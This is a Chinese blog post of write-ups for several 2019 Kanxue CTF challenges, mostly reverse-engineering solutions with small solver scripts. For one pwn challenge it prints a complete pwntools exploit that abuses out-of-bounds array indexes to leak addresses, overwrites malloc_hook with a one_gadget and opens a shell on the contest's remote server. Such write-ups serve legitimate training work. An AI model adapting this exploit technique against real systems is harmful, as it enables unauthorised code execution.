23R3F's Blog

2019看雪CTf之Q1

字数统计: 2.6k阅读时长: 10 min
2019/03/30 Share

是时候好好复现一下最近各个CTF比赛的题目了,先从看雪CTF开始吧,0CTF的感觉还是有点难度,后面再来搞吧

流浪者

简单逆向题

扔IDA,按x看交叉引用,发现核心的代码如下

1553950166394

1553950184252

逆向起来不是很复杂,主要就是耐心慢慢看对输入字符串的约束条件

我们发现:

如果65<= Str[i] <= 90,那么 v5[i] = Str[i] - 29 ,也就是 36~61的范围

如果97 <= Str[i] <= 122,那么v5[i] = Str[i] - 87 ,也就是10~35的范围

如果48<= Str[i] <=57, 那么v5[i] = Str[i] - 48 也就是0~9的范围

那么就可以写脚本跑了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
key="KanXueCTF2019JustForhappy"
a="abcdefghiABCDEFGHIJKLMNjklmn0123456789opqrstuvwxyzOPQRSTUVWXYZ"
print(len(key))
print(len(a))
flag=[]
for k in key:
if k in a:
if 0<=a.index(k)<=9:
print("key is:",k," index:",a.index(k)," ",chr(a.index(k)+48))
flag.append(chr(a.index(k)+48))
if 10<=a.index(k)<=35:
print("key is:",k," index:",a.index(k)," ",chr(a.index(k)+87))
flag.append(chr(a.index(k)+87))
if 36<=a.index(k)<=61:
print("key is:",k," index:",a.index(k)," ",chr(a.index(k)+29))
flag.append(chr(a.index(k)+29))

for x in flag:
print(x,end="")

变型金刚

是个安卓的逆向题,没有了解过安卓,所以不太会。。。

看了几个大佬的wp

大概意思就是,首先能在jeb中看到反编译的代码逻辑

关键点就是使用了个eq函数,但是呢,函数具体内容没有,就在apk文件中找到一个so文件

里面注册了这个函数,然后进去逆这个函数,最后发现

其实是对输入的pwd进行转换,类似base解码,最后与字符串“{98gal!Tn?@#fj’j$\g;;”进行比对,相等返回真

你的输入也就是flag了

影分身之术

Windows逆向,这个可以说是很骚了,web+re的题

第一部分是个web页面及js代码,这个真没想到。。第一次见这种操作,但js不难看,可以初步得到大部分的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function ckpswd() 
{
key="simpower91";
a = document.all.pswd.value;
if (a.indexOf(key) ==0)
{
l=a.length;
i=key.length;
sptWBCallback(a.substring(i,l));
}
else
{
alert("wrong!<" + a + "> is not my GUID ;-)");
return "1234";
}
}
undefined(){alert("congratulations!");}

就是这个sptWBCallback函数比较恶心

看大佬们的wp来分析,应该是通过这个函数,将编码后的代码逐步解码并执行,是一种VM

打扰了,这后面的就分析不出来了,差的基础底子太多了,是时候好好学学逆向了orz

拯救单身狗

(拯救个吉儿,单身一时爽,一直单身一直爽……..)

开始看题吧,64位保护机制全开

1554007414107

主要功能如下

一、首先,可以申请一个single dog,数量不能超过80,申请了0x20的chunk 空间来存name,bss段中有sigle_array存储指针

1554007451367

二、可以申请luckydog,数量也是不能超过80,首先是一个0x20的chunk1,chunk1的第一项内容是另外一个chunk2的指针,最后将chunk1的指针存入bss段中的lucky_array中

1554007539574

三、编辑single dog,根据输入的下标idx来进行修改对应sigle array的内容,这可以输入一个大的数字,直接改到luckdog的数组

1554007829586

四、编辑lucky dog,这里则可以通过输入负数访问上面的数组,造成伪造任意地址写

1554008845338

五、save single dog,这里其实是伪随机数,gdb跟进去可以看到具体的值,主要功能就是,free掉一个lucky的指针,接着single指针代替lucky指针,然后在bss段中清空并重新排序single array

1554009880376

分析完了之后就可以总结出利用的思路了

来总结一波发现的线索:

  1. 功能三和功能四中,sigle array和luckdog 数组都可以通过下标越界来实现读写功能
  2. 存在伪随机数,可以刻意操控free的chunk

由于保护机制全开,就莫得改got表

而且pie开了以后,所有地址都没有,首先就需要泄漏出elf基址,libc基址

我一开始是的思路是在往堆漏洞利用方面想的

但后来慢慢分析的时候,发现,只要用好第一条线索,就可以getshell了

思路:

  1. 由于

    puts(“Oh,singledog,changing your name can bring you good luck.”);

    read(0, (void *)sigle_array[idx], 0x20uLL);

    printf(“new name: %s”, sigle_array[idx]);

    我们可以利用这条printf语句去泄漏

  2. 由于

    puts(“Oh,luckydog,What is your new name?”);

    read(0, (void *)(lucky_array[idx] + 8LL), 0x18uLL);

    puts(“your partner’s new name”);

    read(0, *(void **)lucky_array[idx], 0x20uLL);

    我们可以设计single dog 的chunk,实现任意地址写

  3. 先泄漏出elf基址,再泄漏出libc基址

  4. 改malloc hook的地址为onegadget,一把梭getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./apwn"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
p = remote("211.159.175.39",8686)
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")

elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------

def create_singel_dog(name):
ru(">>\n")
sd("1")
ru("Name:\n")
sd(name)

def create_lucky_dog(name,partner):
ru(">>\n")
sd("2")
ru("Name\n")
sd(name)
ru("partner's name\n")
sd(partner)

def edit_single(idx,name):
ru(">>\n")
sd("3")
ru("which?\n")
sd(str(idx))
ru("good luck.\n")
sd(name)

def edit_lucky(idx,name,partner):
ru(">>\n")
sd("4")
ru("which?\n")
sd(str(idx))
ru("new name?\n")
sd(name)
ru("partner's new name\n")
sd(partner)

def save():
ru(">>\n")
sd("5")


singel_array = 0x202060
lucky_array = 0x2022E0
stdin = 0x202030
stderr = 0x202040
stdout = 0x202020
x = stdin-0x28
offsetx = str((x-singel_array)/8)

create_singel_dog("aaaa")
create_lucky_dog("bbbb","cccc")
edit_single(offsetx,"\x08")
ru("new name: ")
elf_base = u64(p.recv(6).ljust(8,"\x00"))-0x202008
print "elf_base--->",hex(elf_base)
addr = p64(elf_base+0x202008).strip("\x00")
print len(addr)

edit_single(offsetx,p64(elf_base+0x202008-0x70))
ru("new name: ")
read_addr = u64(p.recv(6).ljust(8,"\x00"))
print "read_addr--->",hex(read_addr)
libc_base = read_addr-libc.sym["read"]
print "libc_base--->",hex(libc_base)
onegadget = libc_base +0x10a38c#本地:0xf1147
malloc_hook = libc_base+0x3ebc30#本地:0x3c4b10

print "onegadget--->",hex(onegadget)
print "malloc_hook--->",hex(malloc_hook)
#debug()
edit_single(0,p64(malloc_hook))
edit_lucky((singel_array-lucky_array)/8,"aaaa",p64(onegadget))

getshell()

没想到服务器到现在还开着,拿到flag的感觉是真爽,所以拯救个吉儿的单身狗呢,如果能让我题题出flag,宁愿一直单身

1554022201911

其实做完以后,发现我的这种解法是非预期解,是出题人的疏忽导致的

官方的解法还是用到了堆的操作,由于是2.27的libc,又其实涉及到tcache机制,官方解法做起来还是很麻烦的

这里贴一下地址吧

https://bbs.pediy.com/thread-250089.htm

青梅竹马

这题Windows逆向,主要是考察逆向和解密算法

通过文本框输入一段字符串,进行检验

有这几个约束:字符串长度大于等于12,第1和第2个字符不能同时是A,第6和第12个字符必须是V,输入为大小写字母+数字

1554105654607

接着将输入去掉第6与第12个字符 。进行base的解码,通过异或一串数字,得到table

ABCyVPGHTJKLMNOFQRSIUEWDYZgbc8sfah1jklmnopqret5v0xX9wi234u67dz+/

这个可以在调试的时候在内存中看到

然后把输入的字符串,进行解码,然后再编码,检验内容,如果通过,才进入if分支

1554106104299

我们需要v7返回2,才能得出正确的结果

最后最难的地方就在这里,我搞得不是很懂。。大概是接触逆向解密太少了,看大佬的wp,大概意思是说

生成100以内的素数数组,输入debase后值转成大数记为m,0x4f(隐藏文本框中的值)以内的素数相乘记为大数n,然后求pow(m,0x53,n) == 2、、、

搞到最后就是要解这玩意

pow(x, 83, 20364840299624512075310661735)

解出来以后,结果作为下标获取文本常量, 当结果为2时得到正确答案的提示.

这里贴一个pizza大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import inverse, long_to_bytes
n = 20364840299624512075310661735
e = 83
factors = [3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73]
phi = reduce(lambda x, y:x*(y-1), factors, 1)
d = inverse(e, phi)
x = pow(2, d, n)

s = long_to_bytes(x)
t = b64encode(s).rstrip('=')
t = t.translate(trans)
t = t[:5] + 'V' + t[5:10] + 'V' + t[10:]
print(t)

真的打扰了,逆向一旦跟密码学结合一起,就不太会了。。太菜了orz

RePwn

这题说是说re pwn,但其实跟pwn的关系不怎么大

主要还是逆向

这题不算难,就是慢慢理清逻辑关系了

32位的控制台exe程序,直接看IDA吧

1554125127457

这里有三重check函数,第一个check其实就是要保证输入的flag,从第9位开始是:X1Y0uN3tG00d

1554125211578

第二个check就简简单单得保证flag是个0x18长度的字符串就行了

这里也能看出,实际上这里就有栈溢出的漏洞了,最后四位通过构造得到一个跳转的地址,去执行某个函数,那么看来这个程序本身一定有一个加密和解码字符串的操作,不然在ida中直接搜字符串肯定能找到线索,但这里找不到

然后看第三个check,其实就是拿输入的字符串的前八个字符作为int型的数据参与计算,本质上就是三个方程,解方程组即可获得flag的前八位1554125373586

也是解:

2 (x3 + 1000 x0 + 100 x1 + 10 x2 + x5 + 10 *x4) == 4040

(3 x5 + 10 x4) / 2 + 100 (x7 + 10 x6) == 115

x3 + 1000 x0 + 100 x1 + 10 x2 - 110 (x7 + 10 *x6) == 1900

虽然不难,化简以后很好算,但我这里就还是用z3解,顺便学一波这个工具的使用

解出来有多个结果

20101001,20100100等等

到目前为止,flag已经拼凑的差不多了:20101001X1Y0uN3tG00d**

就差最后四位了,根据前面分析的,最后四位其实是地址,那么就去找找该往哪里跳转

用pwn的思路来找的话,肯定首先看看哪里有引用system函数的

1554174981328

发现,果然有,进一步分析发现这两个其实就是一系列的解密函数,应该是输出正确的提升语句

最后得出flag:20101001X1Y0uN3tG00dHaCk

输入后:

1554175218466

1554175234057

没错的确实现了跳转并且用了system(“cls”)和system(“pause”)

圆圈舞DancingCircle

这个是个逆向题,

挖宝

1555244449178

保护全开。。刺激.jpg

CATALOG
  1. 1. 流浪者
  2. 2. 变型金刚
  3. 3. 影分身之术
  4. 4. 拯救单身狗
  5. 5. 青梅竹马
  6. 6. RePwn
  7. 7. 圆圈舞DancingCircle
  8. 8. 挖宝